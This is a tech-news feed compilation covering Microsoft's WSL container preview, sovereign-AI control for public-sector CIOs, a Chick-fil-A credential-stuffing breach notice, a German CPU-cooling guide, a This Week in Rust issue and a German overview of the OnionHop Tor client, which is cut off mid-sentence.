Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.



Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a VS Code Server in every container you’re building and testing. If you’re working with Kubernetes, that’s even more complexity that needs to be managed, dragging you away from code.



I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.



So, it was good to see Microsoft make several announcements around WSL at Build 2026 as part of a push to make Windows a developer platform again. The first, an improved WSL3, is still some way away, but the second, WSL-native container support, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.



Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.



Getting started with WSL container



WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter wsl --update --pre-release.



This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering wslc, which should list the available commands. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).



Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.



Calling Linux containers from Windows applications



Things get more interesting when you start to use the WSL container API from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.



The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided sample code to show you what’s possible at this early stage.



Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.



It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.



Manage Linux containers from Windows



If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the WSL Container Desktop, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the Windows App SDK installed, and some features require access to the Azure CLI.



WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.



Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.



Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.



Run Kubernetes inside Windows for cloud-native development



One of the more useful features of WSL Container Desktop is the ability to quickly stand up a K3s Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own Headlamp UI, making it easy to go between your development environment and a production Kubernetes cluster.



It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.



The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.



Sovereign AI has become the public-sector CIO’s control problem
Thu, 23 Jul 2026 11:05:58 +0200

		
					  
						




In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.



They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?



The 5 layers of public-sector control



For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:




Data control: Where sensitive public data sits, and whether it can train a vendor’s model.



Model control: Which models clear which workloads, and under what validation.



Infrastructure control: Whether critical workloads run in approved environments.



Operational control: Whether AI-assisted actions are logged, monitored and reversible.



Vendor control: Whether the agency keeps portability, audit rights and a real exit.




Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.



Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.



Evaluating risk: Concentration, jurisdiction and shadow AI



Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.



The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.



The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.



Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.



Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.



Building an operational sovereignty strategy



Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.



None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.



Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:




Can we classify AI workloads by public-service risk?



Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?



Can we restrict which models are approved for which data classes and functions?



Can we reconstruct an AI-assisted action in enough detail to explain it?



Can we change providers without losing continuity or institutional knowledge?



Can we explain the system to citizens, regulators, auditors and elected officials?




A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.



This article is published as part of the Foundry Expert Contributor Network.
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EU Informs JD.com Of Concerns Over Ceconomy Buyout
Thu, 23 Jul 2026 10:43:32 +0200
European Commission hands Chinese e-commerce giant formal notice over concerns that state subsidies played role in €2.2bn deal This article has been indexed from Silicon UK Read the original article: EU Informs JD.com Of Concerns Over Ceconomy Buyout
Read more →
The post EU Informs JD.com Of Concerns Over Ceconomy Buyout appeared first on IT Security News.


CISOs vertrauen ihrer Abwehr, kaum jemand testet sie - Security-Insider
Thu, 23 Jul 2026 09:42:42 +0200
Horizon3.ai-Report „The State of Assumed Security" Fast alle CISOs vertrauen ihrer Cybersecurity – zurecht? 23.07.2026 Ein Gastbeitrag von Dan Bird 4 ...


Teen Drops Landmark Addiction Case Against Meta
Thu, 23 Jul 2026 09:42:24 +0200
Plaintiff, age 15, drops second Los Angeles state case after settling with TikTok, Google, Snap, with thousands of cases still pending This article has been indexed from Silicon UK Read the original article: Teen Drops Landmark Addiction Case Against Meta
Read more →
The post Teen Drops Landmark Addiction Case Against Meta appeared first on IT Security News.


Chick-fil-A Confirms Customer Data Accessed in Cyberattack
Thu, 23 Jul 2026 09:24:42 +0200
Chick-fil-A data security incident may have exposed personal and account information belonging to customers after unauthorized parties launched an automated attack against the company’s website and mobile application. The incident targeted certain Chick-fil-A One accounts between June 17 and June 19, 2026, using account credentials obtained from a third-party source.
Chick-fil-A said it identified suspicious login activity involving certain Chick-fil-A One accounts and immediately took steps to prevent further unauthorized access. The company launched an investigation and determined on July 13, 2026, that unauthorized parties may have accessed information stored in affected accounts.
The company notified affected customers about the incident and outlined the types of information that may have been involved, along with steps taken to secure accounts and protect customers.

Chick-fil-A Data Security Incident Linked to Automated Attack
According to the notice sent to customers, the Chick-fil-A data security incident involved an automated attack against the company's website and mobile application. The attackers used account credentials, including email addresses and passwords, that were obtained from a third-party source.
The activity took place over a three-day period between June 17 and June 19. After identifying suspicious login activity, Chick-fil-A moved to prevent additional unauthorized activity and began investigating the incident.
The company said its investigation later determined that unauthorized parties may have accessed information in customers' Chick-fil-A One accounts.

Chick-fil-A One Accounts May Have Exposed Personal Information
The information potentially accessed in the incident varied depending on what customers had stored in their accounts.
Potentially affected data may have included customers' names, email addresses, Chick-fil-A One membership numbers and mobile pay numbers. The information may also have included QR codes, the last four digits of credit or debit card numbers, and the amount of Chick-fil-A credit, such as an e-gift card balance, associated with an account.
For customers who had additional information saved to their accounts, the potentially exposed data may also have included the month and day of their birthday, phone number and address.
The company did not state that all listed information was accessed for every affected customer.

Chick-fil-A Resets Passwords and Removes Payment Methods
Following the incident, Chick-fil-A said it took immediate action to protect affected accounts. The measures included forcing log-outs from impacted accounts and removing stored payment methods.
The company also restored the balances of impacted Chick-fil-A One accounts. As an additional measure for affected customers, Chick-fil-A said it added rewards to their accounts.
The company said it continues to enhance its security, monitoring and fraud controls to reduce the risk of similar incidents in the future.

Chick-fil-A Urges Customers to Update Passwords
Chick-fil-A said it has reset the passwords associated with affected accounts and urged customers to update their passwords as soon as possible.
The company recommended that customers choose strong, difficult-to-guess passwords that are unique to their Chick-fil-A accounts and not reused across other websites or online services.
The company also encouraged customers to remain vigilant against potential identity theft and fraud. Customers were advised to review their credit reports and account statements carefully and check for any activity that they do not recognize.
The Chick-fil-A data security incident highlights the risks associated with compromised account credentials being used in automated attacks. While the company said it took steps to secure affected accounts and restore balances, customers are being encouraged to take additional precautions to protect their personal information and online accounts.


So verbessern Sie Ihre CPU-Kühlung durch die richtige Lüfter-Konfiguration
Thu, 23 Jul 2026 08:19:19 +0200





Viele PC-Systeme kämpfen mit unnötig hohen CPU-Temperaturen, obwohl eigentlich ausreichend Gehäuselüfter eingebaut sind. Häufig liegt die Ursache nicht an zu schwacher Kühlung, sondern an einer ungünstigen Luftführung (Airflow). Besonders verbreitet ist der Ansatz, alle oberen Lüfter konsequent als Abluft zu konfigurieren. 



Was logisch klingt, kann in klassischen PC-Gehäusen mit Luftkühler allerdings genau das Gegenteil bewirken. Mit einer kleinen Anpassung der Lüfterausrichtung lässt sich der Prozessor oftmals messbar kühler betreiben, und das ganz ohne zusätzliche Kosten. Der Kern des Problems liegt dabei im Zusammenspiel von Front- und Top-Lüftern.



In den meisten Midi-Tower-Gehäusen strömt kühle Luft von vorne ins Gehäuse und soll idealerweise direkt zum CPU-Kühler gelangen. Ist der vordere obere Lüfter aber als Abluft konfiguriert, saugt er einen Teil dieser Frischluft sogleich wieder nach oben ab, bevor sie den CPU-Kühler erreicht. Der Luftstrom wird dadurch kurzgeschlossen. 



Anstatt gezielt durch Kühlkörper und Lamellen zu fließen, verlässt die kalte Luft das Gehäuse nahezu ungenutzt. Die Folge sind höhere CPU-Temperaturen, obwohl mehrere Lüfter aktiv arbeiten. Abhilfe schafft hier eine einfache Änderung, bei der der vordere obere Lüfter nicht als Abluft, sondern als Zuluft arbeitet. 


Bei der Standard-Lüfterkonfiguration für Desktop-PCs strömt kalte Luft von vorne ins PC-Gehäuse ein, trifft auf den CPU-Lüfter und entweicht nach hinten sowie oben.
Noctua



Dadurch wird die vorne angesaugte Frischluft gezielt in Richtung CPU gedrückt, anstatt sie vorzeitig aus dem Gehäuse zu ziehen. Der hintere obere Lüfter bleibt weiterhin als Abluft konfiguriert, sodass die erwärmte Luft kontrolliert abgeführt wird. Diese Mischung aus Zu- und Abluft im Deckel widerspricht zwar älteren Faustregeln, sorgt in der Praxis aber für einen gleichmäßigeren und effizienteren Luftstrom rund um den Prozessor.



Ob diese Anpassung bei Ihrem System sinnvoll ist, lässt sich relativ einfach überprüfen. Öffnen Sie zunächst das Gehäuse und verschaffen Sie sich einen Überblick über die aktuelle Lüfterausrichtung. Die meisten Lüfter zeigen mit kleinen Pfeilen auf dem Rahmen an, in welche Richtung Luft strömt. Alternativ hilft ein Stück Papier oder Rauch eines Räucherstäbchens, um die Strömungsrichtung sichtbar zu machen. 



Drehen Sie anschließend den vorderen oberen Lüfter so, dass er Luft ins Gehäuse hineinbläst, während der hintere obere Lüfter weiterhin Luft nach außen fördert. Für einen aussagekräftigen Vergleich sollten Sie die Temperaturen vor und nach der Änderung unter möglichst gleichen Bedingungen messen. 



Starten Sie zunächst Windows, lassen Sie das System einige Minuten laufen, um es im Leerlauf zu stabilisieren, und notieren Sie die CPU-Temperatur. Danach eignen sich ein längerer Gaming-Test oder eine realistische Dauerlast, etwa durch ein anspruchsvolles Programm, besser als ein synthetischer Stresstest. Beobachten Sie dabei die durchschnittliche CPU-Temperatur über mehrere Minuten. 


Eine kleine Änderung der Gehäuselüfter-Konfiguration kann unter Umständen die Prozessortemperatur verbessern – sprich, messbar senken.
Gamemax



In vielen Fällen lässt sich eine Absenkung um ein bis zwei Grad Celsius feststellen, gelegentlich auch mehr, abhängig von Gehäuse, Lüfterleistung sowie CPU-Kühler. Wichtig ist, dass diese Methode besonders für Systeme mit klassischem Luftkühler gilt. Wird der Prozessor über eine Wasserkühlung mit Radiator versorgt, spielt die Luftführung im Bereich des CPU-Kühlers eine andere Rolle. 



Wenn der Radiator im Deckel sitzt, entscheidet die Lüfterausrichtung primär darüber, ob der Fokus auf niedrigeren Prozessortemperaturen oder auf einer besseren Gesamtabfuhr der Gehäusewärme liegt. Hier gibt es keine universelle Lösung, weshalb eigene Tests besonders sinnvoll sind. Ebenfalls Vorsicht ist geboten, wenn Ihr Gehäuse über zusätzliche Lüfter im Boden verfügt. 



In derartigen Konfigurationen kann ein oberer Zuluftlüfter unerwünschte Verwirbelungen erzeugen, die warme Luft im Gehäuse halten oder die Grafikkarte stärker aufheizen. In diesen Fällen funktioniert das klassische Konzept mit Abluft im Deckel meist zuverlässiger. Die wichtigste Erkenntnis lautet daher, dass starre Regeln beim Airflow oftmals zu kurz greifen. 



Anstatt alle oberen Lüfter reflexartig als Abluft zu konfigurieren, lohnt es sich, die tatsächliche Luftbewegung im eigenen Gehäuse zu betrachten und gezielt anzupassen.  



Lesetipp: Argus Monitor im Test – Hardware-Temperatur immer im Blick




This Week In Rust: This Week in Rust 661
Thu, 23 Jul 2026 07:18:12 +0200
Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
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@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRust on mastodon.social, or
send us a pull request.
Want to get involved? We love contributions.
This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org.
If you find any errors in this week's issue, please submit a PR.
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Updates from Rust Community


Official

Announcing Rust 1.97.1

Newsletters

The Embedded Rustacean Issue #76

Project/Tooling Updates

Announcing Topcoat: a framework for building full-stack reactive web apps with Rust
Syn 3.0.0
What’s New in RustRover 2026.2
kobe 0.35.0: readiness gates and cert recycling
Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3
Nova v0.2.1: computer-use MCP server
winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs
crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)
ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search
OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)
Freya 0.4
buildline: merging cargo and ninja's build profiling into one timeline
cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine
flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone
hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn
kache 0.11.0: broader compiler coverage and libc-aware keys
tracing-reload - reload layer without panics
Introducing OpenTypeless: Voice Input That Actually Works
Reading a Rust crate's capabilities out of its compiled symbols

Observations/Thoughts

Battery packs: Let's talk about crates, baby
Capture Clauses as Effects
Hardening Rust Code For Production
Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks
Rust service hardening and production checklist
[audio] The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board
[video] Jon Gjengset: Open Source Maintenance 2026-07-18
[video] Rust Release Changelog - 1.97.0
[video] Livestream: Rust in Ubuntu

Rust Walkthroughs

I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.
Two tricky bugs in a Rust daemon
[video] Backend Concepts in Rust: Securely Managing App Secrets
[video] Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)

Crate of the Week
This week's crate is xan, a TUI toolkit to work with CSV files.
Thanks to Simeon H.K. Fitch for the suggestion!
Please submit your suggestions and votes for next week!
Calls for Testing
An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.
If you are a feature implementer and would like your RFC to appear in this list, add a
call-for-testing label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.
No calls for testing were issued this week by
Rust,
Cargo,
Rustup or
Rust language RFCs.
Let us know if you would like your feature to be tracked as a part of this list.
Call for Participation; projects and speakers
CFP - Projects
Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!
Some of these tasks may also have mentors available, visit the task page for more information.




No Calls for participation were submitted this week.

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!
CFP - Events
Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.



No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!
Updates from the Rust Project
576 pull requests were merged in the last week
Compiler

account for async closures when pointing at lifetime in return type
comptime inherent impls
dep_graph: deduplicate task reads with an epoch-filtered index recorder
eagerly check for ambiguity in macro parsing
implement #[diagnostic::opaque] attribute to hide backtraces of macros
shrink ast::Expr64

Library

add explicit Iterator::count impl for str::EncodeUtf16
implement bool::toggle
implement const_binary_search
implement Debug helpers via Cell
implement VecDeque::truncate_to_range
make pin!() more foolproof
move std::io::BufRead to alloc::io
move std::io::Read to alloc::io
move std::io::read_to_string to alloc::io

Cargo

use PGO for Cargo
timings: only report units the job queue actually ran
do not include proc-macro deps in rustc search path args
include SBOM outputs in fingerprints
lazily initialize git2 fetch transports

Rustdoc

fix auto trait normalization env
use PGO for rustdoc

Clippy

add block_scrutinee lint
avoid invalid ref_as_ptr suggestions in const/static initializers
detect == 0 on unsigned types as a manual_clamp lower bound
fix if_not_else linting on macro expanded conditions
fix needless_collect suggests a suggestion that cannot be typed
non_zero_suggestions: don't lint signed integer div/rem as NonZero
manual_filter: don't eat comments in the and_then suggestion
require the use of as _ for indirectly used traits in clippy sources
rewrite min_ident_chars
use #[must_use] determination from the compiler

Rust-Analyzer

avoid index panic when flycheck list is empty
add capture hints to coroutines
add handler for E0572
do not assume array destructuring assignments with rest pattern are constant-sized
eagerly normalize .await's IntoFuture::Output
enable auto trait inference
extract variable preserving whitespace from macro input
fix coroutines not recording binding owners correctly
fix crashes in assists due to .unwrap() calls in SyntaxFactory
fix hir crate leaking bound variables from skipped binders
fix InferenceContext:identity_args using the wrong DefId
fix syntax bridge panic when spilting float
handle enum variants in next-solver generics
implement lowering of HRTB
invalid pattern_matching_variant lowering due to recovery
merge WherePredicate::ForLifetimes into WherePredicate::TypeBound
only write anon const ty in parent's inference result if it doesn't have its own inference
panic with a function item and a proc macro item having a duplicate name
parser to error on macro type bound
spawn proc-macro servers on requests clearing the client cache
use quote! inside ast::make::expr_call()
use Result for the lsp-server Response payload type
record expressions in types in ExprScope

Rust Compiler Performance Triage
The two most notable changes this week were #159115,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and #159091, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.
There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.
Triage done by @Kobzol.
Revision range: 5503df87..d527bc9b
Summary:



(instructions:u)
mean
range
count




Regressions ❌ 
 (primary)
0.4%
[0.2%, 1.0%]
40


Regressions ❌ 
 (secondary)
0.7%
[0.2%, 4.6%]
69


Improvements ✅ 
 (primary)
-2.0%
[-6.2%, -0.2%]
136


Improvements ✅ 
 (secondary)
-2.6%
[-8.4%, -0.2%]
119


All ❌✅ (primary)
-1.4%
[-6.2%, 1.0%]
176



2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total
Full report here.
Approved RFCs
Changes to Rust follow the Rust RFC (request for comments) process. These
are the RFCs that were approved for implementation this week:

No RFCs were approved this week.

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Rust

Tracking Issue for bool::toggle
Tracking Issue for vec_try_remove
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Tracking Issue for const_btree_len
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stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw
rustc_passes: lint unused #[path] attributes on inline modules

Compiler Team (MCPs only)

Emit note when calling rustc without specifying an edition
Let the OS handle stack growth
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Deallocate post-2026 funds from PM and compiler-ops

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Do the bytes of a pointer have to stay in the same order?

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Alright...time to give it a stab ....Sashiko...https://github.com/sashiko-dev/sashiko ...Agentic review of Linux Kernel code changes
Thu, 23 Jul 2026 04:29:01 +0200
If you have tried it, I would like to know your opinion. Did you try it locally or use it with external LLMs? How did it withstand your machine state?? Especially on low-powered and low specs like most of us have. (Oh, I am assuming)
 
   submitted by    /u/unixbhaskar  
 [link]   [comments]


Digitale Selbstbestimmung: OnionHop leitet euren gesamten Datenverkehr durch das Tor-Netzwerk (Linux/Win/Mac)
Thu, 23 Jul 2026 04:14:01 +0200
OnionHop – Überblick
 OnionHop — route your traffic through Tor, with clear controls ist ein moderner plattformübergreifender Desktop-Client (für Windows, Linux und macOS) mit starkem Fokus auf Privatsphäre. Er ermöglicht es Nutzern, ihren Datenverkehr über das Tor-Netzwerk zu leiten. Es handelt sich um ein unabhängiges Open-Source-Projekt, das nicht offiziell mit dem Tor Project | Anonymity Online verbunden ist. Die OnionHop Oberfläche bietet 8 Sprachen (Englisch, Deutsch, Französisch, Chinesisch, Russisch, Persisch, Aserbaidschanisch und Sorani Kurdisch).
 Melden Sie sich freiwillig als Snowflake-Proxy helfen Sie zensierten Benutzern, Tor direkt von den Einstellungen aus zu erreichen (siehe Einstellungen).
 Hauptfunktionen
  Proxy-Modus: Leitet den Datenverkehr ressourcenschonend über einen lokalen SOCKS-Proxy um, ohne dass Administratorrechte benötigt werden. Ein Knopfdruck auf "System Proxy: On" und alle gängigen Browser benutzen das Tor Netzwerk.
 TUN-Modus (eigene virutelle Netzwerkkarte): Leitet den Datenverkehr des gesamten Systems (alle Apps) mit einem Klick über das Tor-Netzwerk um.
 Split-Tunneling: Ermöglicht die individuelle Auswahl, welche Apps über Tor laufen und welche direkte Verbindungen nutzen.
 Kill-Switch: Blockiert den ausgehenden Datenverkehr sofort, wenn die Tor-Verbindung abbricht, um ungeschützte Datenlecks zu verhindern.
 DNS-Steuerung: Erzwingt DNS-Anfragen über Tor und verhindert Lecks zum Internetanbieter (inklusive QUIC/UDP-Leckschutz).
 Länder- & Seiten-Routing: Erlaubt direkte Verbindungen für bestimmte Länder oder das Blockieren von Domains basierend auf automatisch aktualisierten Listen.
 CLI-Client: Bietet eine Kommandozeilenversion ohne grafische Oberfläche, ideal für Server und Automatisierungen. Zensurumgehung und Netzwerktechnologien
 Smart Connect: Wählt automatisch die optimale Engine, Route und Bridge für das aktuelle Netzwerk.
 Integrierter Bridge-Scanner: Sucht und testet automatisch funktionierende Brücken (Bridges) in restriktiven Netzwerken, sodass keine manuelle Eingabe erforderlich ist.
 Pluggable Transports: Unterstützt Protokolle wie obfs4, snowflake, webtunnel, conjure, meek, dnstt und vanilla, um Netzwerkblockaden zu umgehen.
 Tor-Engines: Nutzt Classic (tor), Arti (A Rust Tor Implementation (Gitlab Changelog) oder https://arti.torproject.org/ für die Nerds Improving Tor using a TCP-over-DTLS Tunnel (PDF, englisch), bald schon mit UDP Unterstützung 339 / 348-udp-app-support - Tor design proposals (Tor Architektur), dies ist die Zukunft von Tor, weg von C mit seinen historisch vielen Buffer Overflows ~65% aller Tor Sicherheitslücken, mit RPC-Schnittstelle (Remote Procedure Call / Methodenaufruf auf entfernten Systemen / Software) und UDP für moderne Anwendungen)
 
 Da Transparenz bei Software für die informationelle Selbstbestimmung das Wichtigste ist, ist das gesamte Projekt quelloffen (Open Source). Ihr könnt euch den Quellcode jederzeit auf GitHub ansehen, ihn selbst kompilieren oder Code-Überprüfungen (Code Reviews) durchführen:
 👉 GitHub-Repository: center2055/OnionHop: Privacy-first Desktop app that routes your traffic through Tor - Anonymous browsing made simple
 Die Software steht für Linux, Windows und macOS zur Verfügung (es gibt auch tragbare Versionen, die nicht installiert werden müssen). Neben der grafischen Oberfläche gibt es für Automatisierungen auch eine reine Kommandozeilen-Version (CLI).
 Systemweite Socks5 Proxy vs. TUN VPN-Technik Modus mit eigener virtuellen Netzwerkkarte (TUN)
 Um zu verstehen, warum der TUN oft sicherer ist, hilft ein direkter Vergleich:
